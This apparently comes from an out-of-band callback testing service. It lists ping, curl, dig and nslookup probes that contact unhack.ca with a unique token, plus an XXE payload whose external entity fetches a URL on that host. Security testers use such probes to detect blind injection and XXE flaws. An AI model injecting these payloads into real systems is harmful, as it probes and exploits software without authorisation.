$ ping -c1 -p 00b0bbe754e9a568163ffca023df4700 unhack.ca
 

$ curl http://unhack.ca/p/b0bbe754e9a568163ffca023df47
 

$ dig b0bbe754e9a568163ffca023df47 @unhack.ca
 

$ dig b0bbe754e9a568163ffca023df47.ns.unhack.ca
 

C:\> nslookup b0bbe754e9a568163ffca023df47 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b0bbe754e9a568163ffca023df47">]>
    <foo>&xxe;</foo>